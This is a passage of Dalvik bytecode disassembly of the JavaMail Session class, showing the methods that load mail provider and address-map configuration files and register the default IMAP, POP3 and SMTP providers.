000000FC new-instance v0, NoSuchProviderException
00000100 invoke-virtual Provider->getProtocol()String, p1
00000106 move-result-object v1
00000108 invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
0000010E throw v0
:110
00000110 move-exception v0
00000112 iget-boolean v1, p0, Session->debug:Z
00000116 if-eqz v1, :128
:11A
0000011A invoke-virtual Session->getDebugOut()PrintStream, p0
00000120 move-result-object v1
00000122 invoke-virtual Exception->printStackTrace(PrintStream)V, v0, v1
:128
00000128 new-instance v0, NoSuchProviderException
0000012C invoke-virtual Provider->getProtocol()String, p1
00000132 move-result-object v1
00000134 invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
0000013A throw v0
:13C
0000013C move-exception v3
0000013E goto :6C
:140
00000140 move-object v1, v2
00000142 goto :80
:144
00000144 move-object v0, p2
00000146 goto/16 :34
.catch Exception {:50 .. :56} :D0
.catch ClassNotFoundException {:5C .. :6A} :13C
.catch Exception {:5C .. :6A} :D0
.catch Exception {:70 .. :7E} :D0
.catch Exception {:82 .. :BA} :110
.catch Exception {:D2 .. :E0} :E4
.end method
.method private getStore(Provider, URLName)Store
.registers 5
00000000 if-eqz p1, :14
:4
00000004 invoke-virtual Provider->getType()Provider$Type, p1
0000000A move-result-object v0
0000000C sget-object v1, Provider$Type->STORE:Provider$Type
00000010 if-eq v0, v1, :24
:14
00000014 new-instance v0, NoSuchProviderException
00000018 const-string v1, "invalid provider"
0000001C invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
00000022 throw v0
:24
00000024 invoke-direct Session->getService(Provider, URLName)Object, p0, p1, p2
0000002A move-result-object v0
0000002C check-cast v0, Store
:30
00000030 return-object v0
:32
00000032 move-exception v0
00000034 new-instance v0, NoSuchProviderException
00000038 const-string v1, "incorrect class"
0000003C invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
00000042 throw v0
.catch ClassCastException {:24 .. :30} :32
.end method
.method private static getSystemResources(String)[URL
.registers 2
00000000 new-instance v0, Session$6
00000004 invoke-direct Session$6-><init>(String)V, v0, p0
0000000A invoke-static AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, [URL
00000016 return-object v0
.end method
.method private getTransport(Provider, URLName)Transport
.registers 5
00000000 if-eqz p1, :14
:4
00000004 invoke-virtual Provider->getType()Provider$Type, p1
0000000A move-result-object v0
0000000C sget-object v1, Provider$Type->TRANSPORT:Provider$Type
00000010 if-eq v0, v1, :24
:14
00000014 new-instance v0, NoSuchProviderException
00000018 const-string v1, "invalid provider"
0000001C invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
00000022 throw v0
:24
00000024 invoke-direct Session->getService(Provider, URLName)Object, p0, p1, p2
0000002A move-result-object v0
0000002C check-cast v0, Transport
:30
00000030 return-object v0
:32
00000032 move-exception v0
00000034 new-instance v0, NoSuchProviderException
00000038 const-string v1, "incorrect class"
0000003C invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
00000042 throw v0
.catch ClassCastException {:24 .. :30} :32
.end method
.method private loadAddressMap(Class)V
.registers 5
00000000 new-instance v0, Session$2
00000004 invoke-direct Session$2-><init>(Session)V, v0, p0
0000000A const-string v1, "/META-INF/javamail.default.address.map"
0000000E invoke-direct Session->loadResource(String, Class, StreamLoader)V, p0, v1, p1, v0
00000014 const-string v1, "META-INF/javamail.address.map"
00000018 invoke-direct Session->loadAllResources(String, Class, StreamLoader)V, p0, v1, p1, v0
:1E
0000001E new-instance v1, StringBuilder
00000022 const-string v2, "java.home"
00000026 invoke-static System->getProperty(String)String, v2
0000002C move-result-object v2
0000002E invoke-static String->valueOf(Object)String, v2
00000034 move-result-object v2
00000036 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000003C sget-object v2, File->separator:String
00000040 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000046 move-result-object v1
00000048 const-string v2, "lib"
0000004C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000052 move-result-object v1
00000054 sget-object v2, File->separator:String
00000058 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000005E move-result-object v1
00000060 const-string v2, "javamail.address.map"
00000064 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000006A move-result-object v1
0000006C invoke-virtual StringBuilder->toString()String, v1
00000072 move-result-object v1
00000074 invoke-direct Session->loadFile(String, StreamLoader)V, p0, v1, v0
:7A
0000007A iget-object v0, p0, Session->addressMap:Properties
0000007E invoke-virtual Properties->isEmpty()Z, v0
00000084 move-result v0
00000086 if-eqz v0, :AE
:8A
0000008A iget-boolean v0, p0, Session->debug:Z
0000008E if-eqz v0, :9C
:92
00000092 const-string v0, "DEBUG: failed to load address map, using defaults"
00000096 invoke-direct Session->pr(String)V, p0, v0
:9C
0000009C iget-object v0, p0, Session->addressMap:Properties
000000A0 const-string v1, "rfc822"
000000A4 const-string v2, "smtp"
000000A8 invoke-virtual Properties->put(Object, Object)Object, v0, v1, v2
:AE
000000AE return-void
:B0
000000B0 move-exception v0
000000B2 iget-boolean v1, p0, Session->debug:Z
000000B6 if-eqz v1, :7A
:BA
000000BA new-instance v1, StringBuilder
000000BE const-string v2, "DEBUG: can\'t get java.home: "
000000C2 invoke-direct StringBuilder-><init>(String)V, v1, v2
000000C8 invoke-virtual StringBuilder->append(Object)StringBuilder, v1, v0
000000CE move-result-object v0
000000D0 invoke-virtual StringBuilder->toString()String, v0
000000D6 move-result-object v0
000000D8 invoke-direct Session->pr(String)V, p0, v0
000000DE goto :7A
.catch SecurityException {:1E .. :7A} :B0
.end method
.method private loadAllResources(String, Class, StreamLoader)V
.registers 12
00000000 const/4 v2, 0x0
:2
00000002 invoke-static Session->getContextClassLoader()ClassLoader
00000008 move-result-object v0
0000000A if-nez v0, :16
:E
0000000E invoke-virtual Class->getClassLoader()ClassLoader, p2
00000014 move-result-object v0
:16
00000016 if-eqz v0, :6C
:1A
0000001A invoke-static Session->getResources(ClassLoader, String)[URL, v0, p1
00000020 move-result-object v0
00000022 move-object v4, v0
:24
00000024 if-eqz v4, :30
:28
00000028 move v3, v2
:2A
0000002A array-length v0, v4
:2C
0000002C if-lt v3, v0, :78
:30
00000030 if-nez v2, :6A
:34
00000034 iget-boolean v0, p0, Session->debug:Z
00000038 if-eqz v0, :46
:3C
0000003C const-string v0, "DEBUG: !anyLoaded"
00000040 invoke-direct Session->pr(String)V, p0, v0
:46
00000046 new-instance v0, StringBuilder
0000004A const-string v1, "/"
0000004E invoke-direct StringBuilder-><init>(String)V, v0, v1
00000054 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
0000005A move-result-object v0
0000005C invoke-virtual StringBuilder->toString()String, v0
00000062 move-result-object v0
00000064 invoke-direct Session->loadResource(String, Class, StreamLoader)V, p0, v0, p2, p3
:6A
0000006A return-void
:6C
0000006C invoke-static Session->getSystemResources(String)[URL, p1
00000072 move-result-object v0
00000074 move-object v4, v0
00000076 goto :24
:78
00000078 aget-object v0, v4, v3
0000007C const/4 v1, 0x0
0000007E iget-boolean v5, p0, Session->debug:Z
00000082 if-eqz v5, :AA
:86
00000086 new-instance v5, StringBuilder
0000008A const-string v6, "DEBUG: URL "
0000008E invoke-direct StringBuilder-><init>(String)V, v5, v6
00000094 invoke-virtual StringBuilder->append(Object)StringBuilder, v5, v0
0000009A move-result-object v5
0000009C invoke-virtual StringBuilder->toString()String, v5
000000A2 move-result-object v5
000000A4 invoke-direct Session->pr(String)V, p0, v5
:AA
000000AA invoke-static Session->openStream(URL)InputStream, v0
:B0
000000B0 move-result-object v1
000000B2 if-eqz v1, :100
:B6
000000B6 invoke-interface StreamLoader->load(InputStream)V, p3, v1
000000BC const/4 v2, 0x1
000000BE iget-boolean v5, p0, Session->debug:Z
000000C2 if-eqz v5, :232
:C6
000000C6 new-instance v5, StringBuilder
000000CA const-string v6, "DEBUG: successfully loaded resource: "
000000CE invoke-direct StringBuilder-><init>(String)V, v5, v6
000000D4 invoke-virtual StringBuilder->append(Object)StringBuilder, v5, v0
000000DA move-result-object v0
000000DC invoke-virtual StringBuilder->toString()String, v0
000000E2 move-result-object v0
000000E4 invoke-direct Session->pr(String)V, p0, v0
:EA
000000EA move v0, v2
:EC
000000EC if-eqz v1, :F6
:F0
000000F0 invoke-virtual InputStream->close()V, v1
:F6
000000F6 add-int/lit8 v2, v3, 0x1
000000FA move v3, v2
000000FC move v2, v0
000000FE goto :2A
:100
00000100 iget-boolean v5, p0, Session->debug:Z
00000104 if-eqz v5, :232
:108
00000108 new-instance v5, StringBuilder
0000010C const-string v6, "DEBUG: not loading resource: "
00000110 invoke-direct StringBuilder-><init>(String)V, v5, v6
00000116 invoke-virtual StringBuilder->append(Object)StringBuilder, v5, v0
0000011C move-result-object v0
0000011E invoke-virtual StringBuilder->toString()String, v0
00000124 move-result-object v0
00000126 invoke-direct Session->pr(String)V, p0, v0
:12C
0000012C move v0, v2
0000012E goto :EC
:130
00000130 move-exception v0
00000132 move-object v7, v0
00000134 move v0, v2
00000136 move-object v2, v1
00000138 move-object v1, v7
:13A
0000013A iget-boolean v5, p0, Session->debug:Z
0000013E if-eqz v5, :166
:142
00000142 new-instance v5, StringBuilder
00000146 const-string v6, "DEBUG: "
0000014A invoke-direct StringBuilder-><init>(String)V, v5, v6
00000150 invoke-virtual StringBuilder->append(Object)StringBuilder, v5, v1
00000156 move-result-object v1
00000158 invoke-virtual StringBuilder->toString()String, v1
0000015E move-result-object v1
00000160 invoke-direct Session->pr(String)V, p0, v1
:166
00000166 if-eqz v2, :F6
:16A
0000016A invoke-virtual InputStream->close()V, v2
:170
00000170 goto :F6
:172
00000172 move-exception v1
00000174 goto :F6
:176
00000176 move-exception v0
00000178 move-object v7, v0
0000017A move v0, v2
0000017C move-object v2, v1
0000017E move-object v1, v7
:180
00000180 iget-boolean v5, p0, Session->debug:Z
00000184 if-eqz v5, :1AC
:188
00000188 new-instance v5, StringBuilder
0000018C const-string v6, "DEBUG: "
00000190 invoke-direct StringBuilder-><init>(String)V, v5, v6
00000196 invoke-virtual StringBuilder->append(Object)StringBuilder, v5, v1
0000019C move-result-object v1
0000019E invoke-virtual StringBuilder->toString()String, v1
000001A4 move-result-object v1
000001A6 invoke-direct Session->pr(String)V, p0, v1
:1AC
000001AC if-eqz v2, :F6
:1B0
000001B0 invoke-virtual InputStream->close()V, v2
:1B6
000001B6 goto :F6
:1B8
000001B8 move-exception v1
000001BA goto :F6
:1BC
000001BC move-exception v0
:1BE
000001BE if-eqz v1, :1C8
:1C2
000001C2 invoke-virtual InputStream->close()V, v1
:1C8
000001C8 throw v0
:1CA
000001CA move-exception v0
:1CC
000001CC iget-boolean v1, p0, Session->debug:Z
000001D0 if-eqz v1, :30
:1D4
000001D4 new-instance v1, StringBuilder
000001D8 const-string v3, "DEBUG: "
000001DC invoke-direct StringBuilder-><init>(String)V, v1, v3
000001E2 invoke-virtual StringBuilder->append(Object)StringBuilder, v1, v0
000001E8 move-result-object v0
000001EA invoke-virtual StringBuilder->toString()String, v0
000001F0 move-result-object v0
000001F2 invoke-direct Session->pr(String)V, p0, v0
000001F8 goto/16 :30
:1FC
000001FC move-exception v1
000001FE goto :1C8
:200
00000200 move-exception v1
00000202 goto/16 :F6
:206
00000206 move-exception v1
00000208 move v2, v0
0000020A move-object v0, v1
0000020C goto :1CC
:20E
0000020E move-exception v1
00000210 move-object v7, v1
00000212 move-object v1, v2
00000214 move v2, v0
00000216 move-object v0, v7
00000218 goto :1BE
:21A
0000021A move-exception v0
0000021C move-object v7, v0
0000021E move v0, v2
00000220 move-object v2, v1
00000222 move-object v1, v7
00000224 goto :180
:226
00000226 move-exception v0
00000228 move-object v7, v0
0000022A move v0, v2
0000022C move-object v2, v1
0000022E move-object v1, v7
00000230 goto :13A
:232
00000232 move v0, v2
00000234 goto/16 :EC
.catch Exception {:2 .. :2C} :1CA
.catch Exception {:6C .. :AA} :1CA
.catch IOException {:AA .. :B0} :130
.catch SecurityException {:AA .. :B0} :176
.catchall {:AA .. :B0} :1BC
.catch IOException {:B6 .. :EA} :226
.catch SecurityException {:B6 .. :EA} :21A
.catchall {:B6 .. :EA} :1BC
.catch IOException {:F0 .. :F6} :200
.catch Exception {:F0 .. :F6} :206
.catch IOException {:100 .. :12C} :226
.catch SecurityException {:100 .. :12C} :21A
.catchall {:100 .. :12C} :1BC
.catchall {:13A .. :166} :20E
.catch IOException {:16A .. :170} :172
.catch Exception {:16A .. :170} :206
.catchall {:180 .. :1AC} :20E
.catch IOException {:1B0 .. :1B6} :1B8
.catch Exception {:1B0 .. :1B6} :206
.catch IOException {:1C2 .. :1C8} :1FC
.catch Exception {:1C2 .. :1C8} :1CA
.catch Exception {:1C8 .. :1CA} :1CA
.end method
.method private loadFile(String, StreamLoader)V
.registers 7
00000000 const/4 v2, 0x0
:2
00000002 new-instance v1, BufferedInputStream
00000006 new-instance v0, FileInputStream
0000000A invoke-direct FileInputStream-><init>(String)V, v0, p1
00000010 invoke-direct BufferedInputStream-><init>(InputStream)V, v1, v0
:16
00000016 invoke-interface StreamLoader->load(InputStream)V, p2, v1
0000001C iget-boolean v0, p0, Session->debug:Z
00000020 if-eqz v0, :48
:24
00000024 new-instance v0, StringBuilder
00000028 const-string v2, "DEBUG: successfully loaded file: "
0000002C invoke-direct StringBuilder-><init>(String)V, v0, v2
00000032 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000038 move-result-object v0
0000003A invoke-virtual StringBuilder->toString()String, v0
00000040 move-result-object v0
00000042 invoke-direct Session->pr(String)V, p0, v0
:48
00000048 if-eqz v1, :52
:4C
0000004C invoke-virtual InputStream->close()V, v1
:52
00000052 return-void
:54
00000054 move-exception v0
00000056 move-object v1, v2
:58
00000058 iget-boolean v2, p0, Session->debug:Z
0000005C if-eqz v2, :A8
:60
00000060 new-instance v2, StringBuilder
00000064 const-string v3, "DEBUG: not loading file: "
00000068 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000006E invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
00000074 move-result-object v2
00000076 invoke-virtual StringBuilder->toString()String, v2
0000007C move-result-object v2
0000007E invoke-direct Session->pr(String)V, p0, v2
00000084 new-instance v2, StringBuilder
00000088 const-string v3, "DEBUG: "
0000008C invoke-direct StringBuilder-><init>(String)V, v2, v3
00000092 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
00000098 move-result-object v0
0000009A invoke-virtual StringBuilder->toString()String, v0
000000A0 move-result-object v0
000000A2 invoke-direct Session->pr(String)V, p0, v0
:A8
000000A8 if-eqz v1, :52
:AC
000000AC invoke-virtual InputStream->close()V, v1
:B2
000000B2 goto :52
:B4
000000B4 move-exception v0
000000B6 goto :52
:B8
000000B8 move-exception v0
000000BA move-object v1, v2
:BC
000000BC iget-boolean v2, p0, Session->debug:Z
000000C0 if-eqz v2, :10C
:C4
000000C4 new-instance v2, StringBuilder
000000C8 const-string v3, "DEBUG: not loading file: "
000000CC invoke-direct StringBuilder-><init>(String)V, v2, v3
000000D2 invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
000000D8 move-result-object v2
000000DA invoke-virtual StringBuilder->toString()String, v2
000000E0 move-result-object v2
000000E2 invoke-direct Session->pr(String)V, p0, v2
000000E8 new-instance v2, StringBuilder
000000EC const-string v3, "DEBUG: "
000000F0 invoke-direct StringBuilder-><init>(String)V, v2, v3
000000F6 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
000000FC move-result-object v0
000000FE invoke-virtual StringBuilder->toString()String, v0
00000104 move-result-object v0
00000106 invoke-direct Session->pr(String)V, p0, v0
:10C
0000010C if-eqz v1, :52
:110
00000110 invoke-virtual InputStream->close()V, v1
:116
00000116 goto :52
:118
00000118 move-exception v0
0000011A goto :52
:11C
0000011C move-exception v0
0000011E move-object v1, v2
:120
00000120 if-eqz v1, :12A
:124
00000124 invoke-virtual InputStream->close()V, v1
:12A
0000012A throw v0
:12C
0000012C move-exception v1
0000012E goto :12A
:130
00000130 move-exception v0
00000132 goto :52
:134
00000134 move-exception v0
00000136 goto :120
:138
00000138 move-exception v0
0000013A goto :BC
:13C
0000013C move-exception v0
0000013E goto :58
.catch IOException {:2 .. :16} :54
.catch SecurityException {:2 .. :16} :B8
.catchall {:2 .. :16} :11C
.catch IOException {:16 .. :48} :13C
.catch SecurityException {:16 .. :48} :138
.catchall {:16 .. :48} :134
.catch IOException {:4C .. :52} :130
.catchall {:58 .. :A8} :134
.catch IOException {:AC .. :B2} :B4
.catchall {:BC .. :10C} :134
.catch IOException {:110 .. :116} :118
.catch IOException {:124 .. :12A} :12C
.end method
.method private loadProviders(Class)V
.registers 8
00000000 new-instance v1, Session$1
00000004 invoke-direct Session$1-><init>(Session)V, v1, p0
:A
0000000A new-instance v0, StringBuilder
0000000E const-string v2, "java.home"
00000012 invoke-static System->getProperty(String)String, v2
00000018 move-result-object v2
0000001A invoke-static String->valueOf(Object)String, v2
00000020 move-result-object v2
00000022 invoke-direct StringBuilder-><init>(String)V, v0, v2
00000028 sget-object v2, File->separator:String
0000002C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
00000032 move-result-object v0
00000034 const-string v2, "lib"
00000038 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
0000003E move-result-object v0
00000040 sget-object v2, File->separator:String
00000044 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
0000004A move-result-object v0
0000004C const-string v2, "javamail.providers"
00000050 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
00000056 move-result-object v0
00000058 invoke-virtual StringBuilder->toString()String, v0
0000005E move-result-object v0
00000060 invoke-direct Session->loadFile(String, StreamLoader)V, p0, v0, v1
:66
00000066 const-string v0, "META-INF/javamail.providers"
0000006A invoke-direct Session->loadAllResources(String, Class, StreamLoader)V, p0, v0, p1, v1
00000070 const-string v0, "/META-INF/javamail.default.providers"
00000074 invoke-direct Session->loadResource(String, Class, StreamLoader)V, p0, v0, p1, v1
0000007A iget-object v0, p0, Session->providers:Vector
0000007E invoke-virtual Vector->size()I, v0
00000084 move-result v0
00000086 if-nez v0, :174
:8A
0000008A iget-boolean v0, p0, Session->debug:Z
0000008E if-eqz v0, :9C
:92
00000092 const-string v0, "DEBUG: failed to load any providers, using defaults"
00000096 invoke-direct Session->pr(String)V, p0, v0
:9C
0000009C new-instance v0, Provider
000000A0 sget-object v1, Provider$Type->STORE:Provider$Type
000000A4 const-string v2, "imap"
000000A8 const-string v3, "com.sun.mail.imap.IMAPStore"
000000AC const-string v4, "Sun Microsystems, Inc."
000000B0 const-string v5, "1.4.1"
000000B4 invoke-direct/range Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
000000BA invoke-virtual Session->addProvider(Provider)V, p0, v0
000000C0 new-instance v0, Provider
000000C4 sget-object v1, Provider$Type->STORE:Provider$Type
000000C8 const-string v2, "imaps"
000000CC const-string v3, "com.sun.mail.imap.IMAPSSLStore"
000000D0 const-string v4, "Sun Microsystems, Inc."
000000D4 const-string v5, "1.4.1"
000000D8 invoke-direct/range Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
000000DE invoke-virtual Session->addProvider(Provider)V, p0, v0
000000E4 new-instance v0, Provider
000000E8 sget-object v1, Provider$Type->STORE:Provider$Type
000000EC const-string v2, "pop3"
000000F0 const-string v3, "com.sun.mail.pop3.POP3Store"
000000F4 const-string v4, "Sun Microsystems, Inc."
000000F8 const-string v5, "1.4.1"
000000FC invoke-direct/range Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
00000102 invoke-virtual Session->addProvider(Provider)V, p0, v0
00000108 new-instance v0, Provider
0000010C sget-object v1, Provider$Type->STORE:Provider$Type
00000110 const-string v2, "pop3s"
00000114 const-string v3, "com.sun.mail.pop3.POP3SSLStore"
00000118 const-string v4, "Sun Microsystems, Inc."
0000011C const-string v5, "1.4.1"
00000120 invoke-direct/range Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
00000126 invoke-virtual Session->addProvider(Provider)V, p0, v0
0000012C new-instance v0, Provider
00000130 sget-object v1, Provider$Type->TRANSPORT:Provider$Type
00000134 const-string v2, "smtp"
00000138 const-string v3, "com.sun.mail.smtp.SMTPTransport"
0000013C const-string v4, "Sun Microsystems, Inc."
00000140 const-string v5, "1.4.1"
00000144 invoke-direct/range Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
0000014A invoke-virtual Session->addProvider(Provider)V, p0, v0
00000150 new-instance v0, Provider
00000154 sget-object v1, Provider$Type->TRANSPORT:Provider$Type
00000158 const-string v2, "smtps"
0000015C const-string v3, "com.sun.mail.smtp.SMTPSSLTransport"
00000160 const-string v4, "Sun Microsystems, Inc."
00000164 const-string v5, "1.4.1"
00000168 invoke-direct/range Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
0000016E invoke-virtual Session->addProvider(Provider)V, p0, v0
:174
00000174 iget-boolean v0, p0, Session->debug:Z
00000178 if-eqz v0, :1E6
:17C
0000017C const-string v0, "DEBUG: Tables of loaded providers"
00000180 invoke-direct Session->pr(String)V, p0, v0
00000186 new-instance v0, StringBuilder
0000018A const-string v1, "DEBUG: Providers Listed By Class Name: "
0000018E invoke-direct StringBuilder-><init>(String)V, v0, v1
00000194 iget-object v1, p0, Session->providersByClassName:Hashtable
00000198 invoke-virtual Hashtable->toString()String, v1
0000019E move-result-object v1
000001A0 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000001A6 move-result-object v0
000001A8 invoke-virtual StringBuilder->toString()String, v0
000001AE move-result-object v0
000001B0 invoke-direct Session->pr(String)V, p0, v0
000001B6 new-instance v0, StringBuilder
000001BA const-string v1, "DEBUG: Providers Listed By Protocol: "
000001BE invoke-direct StringBuilder-><init>(String)V, v0, v1
000001C4 iget-object v1, p0, Session->providersByProtocol:Hashtable
000001C8 invoke-virtual Hashtable->toString()String, v1
000001CE move-result-object v1
000001D0 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000001D6 move-result-object v0
000001D8 invoke-virtual StringBuilder->toString()String, v0
000001DE move-result-object v0
000001E0 invoke-direct Session->pr(String)V, p0, v0
:1E6
000001E6 return-void
:1E8
000001E8 move-exception v0
000001EA iget-boolean v2, p0, Session->debug:Z
000001EE if-eqz v2, :66
:1F2
000001F2 new-instance v2, StringBuilder
000001F6 const-string v3, "DEBUG: can\'t get java.home: "
000001FA invoke-direct StringBuilder-><init>(String)V, v2, v3
00000200 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
00000206 move-result-object v0
00000208 invoke-virtual StringBuilder->toString()String, v0
0000020E move-result-object v0
00000210 invoke-direct Session->pr(String)V, p0, v0
00000216 goto/16 :66
.catch SecurityException {:A .. :66} :1E8
.end method
.method private loadProvidersFromStream(InputStream)V
.registers 14
00000000 const/4 v6, 0x0
00000002 if-eqz p1, :1C
:6
00000006 new-instance v7, LineInputStream
0000000A invoke-direct LineInputStream-><init>(InputStream)V, v7, p1
:10
00000010 invoke-virtual LineInputStream->readLine()String, v7
00000016 move-result-object v0
00000018 if-nez v0, :1E
:1C
0000001C return-void
:1E
0000001E const-string v1, "#"
00000022 invoke-virtual String->startsWith(String)Z, v0, v1
00000028 move-result v1
0000002A if-nez v1, :10
:2E
0000002E new-instance v8, StringTokenizer
00000032 const-string v1, ";"
00000036 invoke-direct StringTokenizer-><init>(String, String)V, v8, v0, v1
0000003C move-object v5, v6
0000003E move-object v4, v6
00000040 move-object v3, v6
00000042 move-object v2, v6
00000044 move-object v1, v6
:46
00000046 invoke-virtual StringTokenizer->hasMoreTokens()Z, v8
0000004C move-result v9
0000004E if-nez v9, :A4
:52
00000052 if-eqz v1, :76
:56
00000056 if-eqz v2, :76
:5A
0000005A if-eqz v3, :76
:5E
0000005E invoke-virtual String->length()I, v2
00000064 move-result v8
00000066 if-lez v8, :76
:6A
0000006A invoke-virtual String->length()I, v3
00000070 move-result v8
00000072 if-gtz v8, :184
:76
00000076 iget-boolean v1, p0, Session->debug:Z
0000007A if-eqz v1, :10
:7E
0000007E new-instance v1, StringBuilder
00000082 const-string v2, "DEBUG: Bad provider entry: "
00000086 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000008C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
00000092 move-result-object v0
00000094 invoke-virtual StringBuilder->toString()String, v0
0000009A move-result-object v0
0000009C invoke-direct Session->pr(String)V, p0, v0
000000A2 goto :10
:A4
000000A4 invoke-virtual StringTokenizer->nextToken()String, v8
000000AA move-result-object v9
000000AC invoke-virtual String->trim()String, v9
000000B2 move-result-object v9
000000B4 const-string v10, "="
000000B8 invoke-virtual String->indexOf(String)I, v9, v10
000000BE move-result v10
000000C0 const-string v11, "protocol="
000000C4 invoke-virtual String->startsWith(String)Z, v9, v11
000000CA move-result v11
000000CC if-eqz v11, :DE
:D0
000000D0 add-int/lit8 v2, v10, 0x1
000000D4 invoke-virtual String->substring(I)String, v9, v2
000000DA move-result-object v2
000000DC goto :46
:DE
000000DE const-string v11, "type="
000000E2 invoke-virtual String->startsWith(String)Z, v9, v11
000000E8 move-result v11
000000EA if-eqz v11, :126
:EE
000000EE add-int/lit8 v10, v10, 0x1
000000F2 invoke-virtual String->substring(I)String, v9, v10
000000F8 move-result-object v9
000000FA const-string v10, "store"
000000FE invoke-virtual String->equalsIgnoreCase(String)Z, v9, v10
00000104 move-result v10
00000106 if-eqz v10, :110
:10A
0000010A sget-object v1, Provider$Type->STORE:Provider$Type
0000010E goto :46
:110
00000110 const-string v10, "transport"
00000114 invoke-virtual String->equalsIgnoreCase(String)Z, v9, v10
0000011A move-result v9
0000011C if-eqz v9, :46
:120
00000120 sget-object v1, Provider$Type->TRANSPORT:Provider$Type
00000124 goto :46
:126
00000126 const-string v11, "class="
0000012A invoke-virtual String->startsWith(String)Z, v9, v11
00000130 move-result v11
00000132 if-eqz v11, :144
:136
00000136 add-int/lit8 v3, v10, 0x1
0000013A invoke-virtual String->substring(I)String, v9, v3
00000140 move-result-object v3
00000142 goto :46
:144
00000144 const-string v11, "vendor="
00000148 invoke-virtual String->startsWith(String)Z, v9, v11
0000014E move-result v11
00000150 if-eqz v11, :164
:154
00000154 add-int/lit8 v4, v10, 0x1
00000158 invoke-virtual String->substring(I)String, v9, v4
0000015E move-result-object v4
00000160 goto/16 :46
:164
00000164 const-string v11, "version="
00000168 invoke-virtual String->startsWith(String)Z, v9, v11
0000016E move-result v11
00000170 if-eqz v11, :46
:174
00000174 add-int/lit8 v5, v10, 0x1
00000178 invoke-virtual String->substring(I)String, v9, v5
0000017E move-result-object v5
00000180 goto/16 :46
:184
00000184 new-instance v0, Provider
00000188 invoke-direct/range Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
0000018E invoke-virtual Session->addProvider(Provider)V, p0, v0
00000194 goto/16 :10
.end method
.method private loadResource(String, Class, StreamLoader)V
.registers 8
00000000 const/4 v1, 0x0
:2
00000002 invoke-static Session->getResourceAsStream(Class, String)InputStream, p2, p1
00000008 move-result-object v1
0000000A if-eqz v1, :4C
:E
0000000E invoke-interface StreamLoader->load(InputStream)V, p3, v1
00000014 iget-boolean v0, p0, Session->debug:Z
00000018 if-eqz v0, :40
:1C
0000001C new-instance v0, StringBuilder
00000020 const-string v2, "DEBUG: successfully loaded resource: "
00000024 invoke-direct StringBuilder-><init>(String)V, v0, v2
0000002A invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000030 move-result-object v0
00000032 invoke-virtual StringBuilder->toString()String, v0
00000038 move-result-object v0
0000003A invoke-direct Session->pr(String)V, p0, v0
:40
00000040 if-eqz v1, :4A
:44
00000044 invoke-virtual InputStream->close()V, v1
:4A
0000004A return-void
:4C
0000004C iget-boolean v0, p0, Session->debug:Z
00000050 if-eqz v0, :40
:54
00000054 new-instance v0, StringBuilder
00000058 const-string v2, "DEBUG: not loading resource: "
0000005C invoke-direct StringBuilder-><init>(String)V, v0, v2
00000062 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000068 move-result-object v0
0000006A invoke-virtual StringBuilder->toString()String, v0
00000070 move-result-object v0
00000072 invoke-direct Session->pr(String)V, p0, v0
:78
00000078 goto :40
:7A
0000007A move-exception v0
:7C
0000007C iget-boolean v2, p0, Session->debug:Z
00000080 if-eqz v2, :A8
:84
00000084 new-instance v2, StringBuilder
00000088 const-string v3, "DEBUG: "
0000008C invoke-direct StringBuilder-><init>(String)V, v2, v3
00000092 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
00000098 move-result-object v0
0000009A invoke-virtual StringBuilder->toString()String, v0
000000A0 move-result-object v0
000000A2 invoke-direct Session->pr(String)V, p0, v0
:A8
000000A8 if-eqz v1, :4A
:AC
000000AC invoke-virtual InputStream->close()V, v1
:B2
000000B2 goto :4A
:B4
000000B4 move-exception v0
000000B6 goto :4A
:B8
000000B8 move-exception v0
:BA
000000BA iget-boolean v2, p0, Session->debug:Z
000000BE if-eqz v2, :E6
:C2
000000C2 new-instance v2, StringBuilder
000000C6 const-string v3, "DEBUG: "
000000CA invoke-direct StringBuilder-><init>(String)V, v2, v3
000000D0 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
000000D6 move-result-object v0
000000D8 invoke-virtual StringBuilder->toString()String, v0
000000DE move-result-object v0
000000E0 invoke-direct Session->pr(String)V, p0, v0
:E6
000000E6 if-eqz v1, :4A
:EA
000000EA invoke-virtual InputStream->close()V, v1
:F0
000000F0 goto :4A
:F2
000000F2 move-exception v0
000000F4 goto :4A
:F6
000000F6 move-exception v0
000000F8 if-eqz v1, :102
:FC
000000FC invoke-virtual InputStream->close()V, v1
:102
00000102 throw v0
:104
00000104 move-exception v1
00000106 goto :102
:108
00000108 move-exception v0
